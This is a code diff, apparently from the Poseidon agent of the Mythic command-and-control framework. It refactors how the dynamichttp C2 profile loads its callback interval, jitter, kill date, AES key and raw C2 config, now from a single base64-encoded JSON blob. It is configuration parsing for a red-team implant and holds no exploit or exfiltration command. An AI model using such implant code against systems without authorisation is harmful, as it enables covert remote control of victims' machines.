@@ -26,14 +26,17 @@ import (
26
26
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs"
27
27
)
28
28
29
- // All variables must be a string so they can be set with ldflags
30
- var dynamichttp_callback_jitter string
31
- var dynamichttp_callback_interval string
32
- var dynamichttp_killdate string
33
- var dynamichttp_encrypted_exchange_check string
34
- var dynamichttp_raw_c2_config string
35
- var dynamichttp_AESPSK string
29
+ // base64 encoded version of the JSON initial configuration of dynamichttp
30
+ var dynamichttp_initial_config string
36
31
32
+ type DynamicHTTPInitialConfig struct {
33
+ Killdate string `json:"killdate"`
34
+ Interval uint `json:"callback_interval"`
35
+ Jitter uint `json:"callback_jitter"`
36
+ EncryptedExchangeCheck bool `json:"encrypted_exchange_check"`
37
+ AESPSK string `json:"AESPSK"`
38
+ RawC2Config C2DynamicHTTPC2Config `json:"raw_c2_config"`
39
+ }
37
40
type C2DynamicHTTPFunction struct {
38
41
Function string `json:"function"`
39
42
Parameters []string `json:"parameters"`
@@ -78,44 +81,45 @@ type C2DynamicHTTP struct {
78
81
79
82
// New creates a new DynamicHTTP C2 profile from the package's global variables and returns it
80
83
func init () {
81
- killDateString := fmt .Sprintf ("%sT00:00:00.000Z" , dynamichttp_killdate )
84
+ initialConfigBytes , err := base64 .StdEncoding .DecodeString (dynamichttp_initial_config )
85
+ if err != nil {
86
+ utils .PrintDebug (fmt .Sprintf ("error trying to decode initial dynamichttp config, exiting: %v\n " , err ))
87
+ os .Exit (1 )
88
+ }
89
+ initialConfig := DynamicHTTPInitialConfig {}
90
+ err = json .Unmarshal (initialConfigBytes , & initialConfig )
91
+ if err != nil {
92
+ utils .PrintDebug (fmt .Sprintf ("error trying to unmarshal initial dynamichttp config, exiting: %v\n " , err ))
93
+ os .Exit (1 )
94
+ }
95
+ killDateString := fmt .Sprintf ("%sT00:00:00.000Z" , initialConfig .Killdate )
82
96
killDateTime , err := time .Parse ("2006-01-02T15:04:05.000Z" , killDateString )
83
97
if err != nil {
84
98
utils .PrintDebug ("Kill date failed to parse. Exiting." )
85
99
os .Exit (1 )
86
100
}
87
101
profile := C2DynamicHTTP {
88
- Key : dynamichttp_AESPSK ,
102
+ Key : initialConfig . AESPSK ,
89
103
Killdate : killDateTime ,
90
104
ShouldStop : true ,
91
105
stoppedChannel : make (chan bool , 1 ),
92
106
}
93
107
94
108
// Convert sleep from string to integer
95
- i , err := strconv .Atoi (dynamichttp_callback_interval )
96
- if err == nil {
97
- profile .Interval = i
98
- } else {
99
- profile .Interval = 10
109
+ profile .Interval = int (initialConfig .Interval )
110
+ if profile .Interval < 0 {
111
+ profile .Interval = 0
100
112
}
101
113
102
114
// Convert jitter from string to integer
103
- j , err := strconv .Atoi (dynamichttp_callback_jitter )
104
- if err == nil {
105
- profile .Jitter = j
106
- } else {
107
- profile .Jitter = 23
115
+ profile .Jitter = int (initialConfig .Jitter )
116
+ if profile .Jitter < 0 {
117
+ profile .Jitter = 0
108
118
}
109
119
110
120
// Add Agent Configuration
111
- //json.Unmarshal([]byte("[{\"name\": \"User-Agent\",\"key\": \"User-Agent\",\"value\": \"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\"}]"), &profile.HeaderList)
112
- if err := json .Unmarshal ([]byte (dynamichttp_raw_c2_config ), & profile .Config ); err != nil {
113
- utils .PrintDebug (fmt .Sprintf ("error trying to unmarshal agent configuration: %v\n " , err ))
114
- os .Exit (1 )
115
- }
116
- if dynamichttp_encrypted_exchange_check == "true" {
117
- profile .ExchangingKeys = true
118
- }
121
+ profile .Config = initialConfig .RawC2Config
122
+ profile .ExchangingKeys = initialConfig .EncryptedExchangeCheck
119
123
RegisterAvailableC2Profile (& profile )
120
124
}
121
125
0 commit comments